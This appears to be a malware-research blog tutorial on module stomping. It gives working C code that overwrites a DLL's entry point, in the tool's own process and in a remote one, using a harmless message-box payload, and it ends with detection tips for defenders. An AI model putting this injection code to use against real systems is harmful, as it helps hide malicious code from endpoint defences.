7 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In trick 60, I showed how to overwrite one exported function inside a legitimate DLL. This time I will use a related idea: overwrite the entry point of a mapped module and start execution from that address.

module stomping

Module stomping is a code injection technique where executable code inside a legitimate PE image is replaced with a payload. Instead of creating a new private executable allocation with VirtualAlloc, the payload is placed inside an image-backed region associated with a sacrificial DLL.

The local PoC follows this flow:

  1. resolve NtCreateSection, NtMapViewOfSection, and NtCreateThreadEx from ntdll.dll.
  2. open combase.dll and create a SEC_IMAGE section from this file.
  3. map that image section into the current process.
  4. parse its PE headers and calculate the module entry point.
  5. find the .text section and verify that the payload fits between the entry point and the end of the section.
  6. make the entry-point pages writable, copy the payload, and restore the old protection.
  7. create a thread whose start address is the stomped entry point.

This is still visible behavior. A memory scanner can compare the in-memory image with the original DLL, and an EDR can correlate image mapping, page-protection changes, modified code pages, and an unusual thread start address. Also, manually mapping an image does not magically disable every CFG or image-validation rule. The result depends on the target image, Windows version, and process mitigation policy.

practical example

For this experiment I use combase.dll as the sacrificial module and a harmless x64 message box payload with Meow-meow! text. The whole local workflow is intentionally implemented directly inside main(), as usual in my small PoCs.

First of all, resolve the native APIs dynamically:

// resolve NT APIs
HMODULE hNtdll = GetModuleHandleW(L"NTDLL");
if (!hNtdll) return -1;

fnNtCreateSection pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
fnNtMapViewOfSection pNtMapViewOfSection = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
fnNtCreateThreadEx pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

if (!pNtCreateSection || !pNtMapViewOfSection || !pNtCreateThreadEx) return -1;

Then open the victim DLL and create an image section. SEC_IMAGE tells the kernel that the file contains a PE image, so the mapped view is represented as an image mapping rather than an ordinary private allocation:

// open victim DLL file
hFile = CreateFileW(VICTIM_DLL, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
  printf("CreateFileW failed: %d\n", GetLastError());
  return -1;
}

// create image section
STATUS = pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
CloseHandle(hFile);
if (!NT_SUCCESS(STATUS)) {
  printf("NtCreateSection failed: 0x%0.8X\n", STATUS);
  return -1;
}

Map the section into the current process:

// map view of section
STATUS = pNtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule, 0, 0, NULL, &sViewSize, ViewShare, 0, PAGE_EXECUTE_READWRITE);
if (!NT_SUCCESS(STATUS)) {
  printf("NtMapViewOfSection failed: 0x%0.8X\n", STATUS);
  CloseHandle(hSection);
  return -1;
}

The next step is PE parsing. e_lfanew points from the DOS header to the NT headers. AddressOfEntryPoint is an RVA, so adding it to the mapped image base gives the entry-point virtual address:

// parse PE Headers for entry point and .text section verification
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)((ULONG_PTR)uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) return -1;

uEntryPoint = (ULONG_PTR)uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;

Now walk through the section table and find .text:

ULONG_PTR uTextAddress = 0;
SIZE_T sTextSize = 0;
PIMAGE_SECTION_HEADER pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);

for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
  if (strncmp((const char*)pImgSecHdr[i].Name, ".text", 5) == 0) {
    uTextAddress = (ULONG_PTR)uMappedModule + pImgSecHdr[i].VirtualAddress;
    sTextSize = pImgSecHdr[i].Misc.VirtualSize;
    break;
  }
}

if (!uTextAddress || !sTextSize) {
  printf("could not find .text section\n");
  goto _CLEANUP;
}

The payload is written at the entry point, not at the beginning of .text. Therefore, the available space is:

available = text_size - (entry_point - text_start)

In the real code this calculation and check look like the following:

SIZE_T sTextSizeLeft = sTextSize - (uEntryPoint - uTextAddress);
printf("victim DLL loaded at: 0x%p\n", uMappedModule);
printf("entry point address: 0x%p\n", (PVOID)uEntryPoint);
printf("shellcode size: %zu, available space in .text: %zu\n", sizeof(rawData), sTextSizeLeft);

if (sTextSizeLeft < sizeof(rawData)) {
  printf("shellcode too large for target section\n");
  goto _CLEANUP;
}

For this specific victim DLL, the entry point is inside .text. If another DLL is selected, this assumption must be verified before subtracting the addresses; otherwise an unsigned size calculation can underflow.

Finally, make the entry-point range writable, copy the payload, restore the previous protection, and execute from the modified entry point:

// overwrite entry point
printf("press <Enter> to stomp...");
getchar();

if (!VirtualProtect((LPVOID)uEntryPoint, sizeof(rawData), PAGE_READWRITE, &dwOldProtection)) {
  printf("VirtualProtect (RW) failed: %d\n", GetLastError());
  goto _CLEANUP;
}

memcpy((PVOID)uEntryPoint, rawData, sizeof(rawData));

if (!VirtualProtect((LPVOID)uEntryPoint, sizeof(rawData), dwOldProtection, &dwOldProtection)) {
  printf("VirtualProtect (restore) failed: %d\n", GetLastError());
  goto _CLEANUP;
}

printf("press <Enter> to execute via NtCreateThreadEx...");
getchar();

// 7. execute via NtCreateThreadEx
STATUS = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), (PVOID)uEntryPoint, NULL, FALSE, 0, 0, 0, NULL);
if (!NT_SUCCESS(STATUS)) {
  printf("executing NtCreateThreadEx failed: 0x%0.8X\n", STATUS);
  goto _CLEANUP;
}

WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);

The source uses getchar() between the important stages so I can attach a debugger and inspect the mapping before and after stomping. The PoC targets x64 Windows, and the payload architecture must match the process architecture.

The full local implementation is the hack.c file in the source directory. All the injection logic shown above is taken directly from its main() function; there is no separate VerifyInjection() or moduleStomping() wrapper.

demo

Let’s go to see everything in action. Compile the canonical hack.c:

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -s -ffunction-sections -fdata-sections -static-libgcc

malware

Then run it on the Windows 10 x64 22H2 laboratory VM:

.\hack.exe

Run the debugger:

malware

malware

malware

Load the combase.dll image:

malware

The program calculates its entry-point address and the remaining space in .text:

malware

Stomping:

malware

malware

Our payload successfully landed at the module entry point. Now execute the thread:

malware

As you can see, everything worked as expected! =^..^=

practical example 2. remote process

The second PoC applies the same entry-point replacement idea to a remote process. The canonical file is hack2.c. It accepts a process name, for example mspaint.exe, finds its PID, opens the process, and loads shell32.dll through a remote LoadLibraryA thread.

The process name is resolved with a Toolhelp snapshot:

// find process ID by process name
int findMyProc(const char *procname) {

  HANDLE hSnapshot;
  PROCESSENTRY32 pe;
  int pid = 0;
  BOOL hResult;

  // snapshot of all processes in the system
  hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

  // initializing size: needed for using Process32First
  pe.dwSize = sizeof(PROCESSENTRY32);

  // info about first process encountered in a system snapshot
  hResult = Process32First(hSnapshot, &pe);

  // retrieve information about the processes
  // and exit if unsuccessful
  while (hResult) {
    // if we find the process: return process ID
    if (strcmp(procname, pe.szExeFile) == 0) {
      pid = pe.th32ProcessID;
      break;
    }
    hResult = Process32Next(hSnapshot, &pe);
  }

  // closes an open handle (CreateToolhelp32Snapshot)
  CloseHandle(hSnapshot);
  return pid;
}

After OpenProcess, the code writes the DLL path to the remote process and starts LoadLibraryA:

char sampleDLL[] = "C:\\windows\\system32\\shell32.dll";
HANDLE process_handle;

pid = findMyProc(argv[1]);

// get handle to remote process
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid));
if (process_handle == NULL) {
  printf("could not open process: %d\n", GetLastError());
  return -1;
}

// allocate memory for the DLL path string
LPVOID buffer = VirtualAllocEx(process_handle, NULL, sizeof(sampleDLL), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);

// write DLL path to remote process
WriteProcessMemory(process_handle, buffer, sampleDLL, sizeof(sampleDLL), NULL);

// explicitly call GetModuleHandleA (ANSI version)
HMODULE k32_handle = GetModuleHandleA("kernel32.dll");
VOID* load_library = (VOID*)GetProcAddress(k32_handle, "LoadLibraryA");

// inject the DLL
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)load_library, buffer, 0, NULL);
if (remote_thread) {
  WaitForSingleObject(remote_thread, INFINITE);
  CloseHandle(remote_thread);
}

After the loader thread finishes, GetRemoteDllLoadAddress takes a module snapshot of the target and finds the actual shell32.dll base address. This is important because ASLR means that the remote base must be discovered rather than copied from the injector.

GetRemoteDllEntryPoint reads the remote DOS and NT headers with ReadProcessMemory, validates both signatures, and calculates:

remote_entry_point = remote_module_base + AddressOfEntryPoint

The final stage in hack2.c writes the same harmless message box payload to this address and starts a second remote thread:

// overwrite the EntryPoint of the loaded DLL in memory
WriteProcessMemory(process_handle, (LPVOID)entryPointAddress, (LPCVOID)shellcode, sizeof(shellcode), NULL);

// execute the shellcode by calling the modified EntryPoint
CreateRemoteThread(process_handle, NULL, 0, (PTHREAD_START_ROUTINE)entryPointAddress, NULL, 0, NULL);

CloseHandle(process_handle);
printf("successfully executed\n");

This remote PoC is intentionally minimal. The source does not check every return value, release the remote DLL-path buffer, or restore the modified bytes. It is a laboratory example for observing the technique, not production-quality injection code.

demo 2

Since hack2.c is C, it can also be compiled with gcc; the long C++ command from the previous draft is not required:

x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe -s -ffunction-sections -fdata-sections -static-libgcc

malware

Start mspaint.exe in the isolated Windows VM, then pass its process name to the PoC:

.\hack2.exe mspaint.exe

malware

malware

The argument is a process name, not a numeric PID. findMyProc() performs the name-to-PID lookup before calling OpenProcess.

The two examples show the main difference clearly. hack.c maps and stomps combase.dll inside its own process, while hack2.c loads shell32.dll into another process, discovers its remote image base, reads its remote PE headers, and stomps the remote entry point.

Remove debugging prints (hack3.c), then upload this compiled sample to ANY.RUN sandbox:

malware

For blue teamers, useful correlations include a new image mapping followed by changes to executable pages, WriteProcessMemory targeting an image address, and a thread start address that points to a modified DLL entry point. The DLL name alone is not a useful verdict; the sequence of events is.

I hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to blue teamers of this interesting technique, and adds a practical case to a red team laboratory.

malware

Thanks to ANY.RUN for API!

hack2.exe analysis
source code in github

This is a practical case for educational purposes only.

Thanks for your time, happy hacking and good bye!
PS. All drawings and screenshots are mine